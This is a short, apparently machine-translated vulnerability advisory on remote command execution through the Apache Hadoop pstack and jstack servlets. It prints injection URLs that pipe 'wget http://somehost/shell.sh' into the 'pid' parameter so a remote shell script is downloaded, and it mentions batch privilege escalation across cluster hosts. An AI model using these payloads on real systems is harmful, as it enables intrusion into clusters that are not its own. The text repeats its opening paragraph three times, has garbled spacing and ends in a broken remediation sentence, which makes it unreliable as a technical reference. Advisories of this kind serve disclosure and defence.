Apache Hadoop Remote Command Execution

The management web end of hadoop, hbase, and hdfs0.2 RC can remotely execute commands and distribute tasks to cluster servers through this node (this is a basic function, of course, you can perform batch Elevation of Privilege for linux Hosts) to penetrate into hadoop clusters.
The management web end of hadoop, hbase, and hdfs can remotely execute commands and distribute tasks to cluster servers through this node (this is a basic function, of course, you can conduct batch Elevation of Privilege for linux Hosts) to penetrate into hadoop clusters.
The management web end of hadoop, hbase, and hdfs0.2 RC can remotely execute commands and distribute tasks to cluster servers through this node (this is a basic function, of course, you can conduct batch Elevation of Privilege for linux Hosts) to penetrate into hadoop clusters. The reason is that jstack pstack servlet executes the command

Remote Command Execution, http: // hadoop_host: 50060/pstack? Pid = 123 | wget http: // somehost/shell. sh http: // hadoop_host: 50060/jstack? Pid = 123 | wget http: // somehost/shell. sh for task distribution, execute http: // hadoop_host/pstack for cluster commands in batches? Pid = 123 | home/work/hadoop/streaming. jar/home/shell. sh http: // hadoop_host/jstack? Pid = 123 | home/work/hadoop/streaming. jar/home/shell. shSolution:

Upgrade to the latest stable version. The default access control for the corresponding server is 50090, and ports.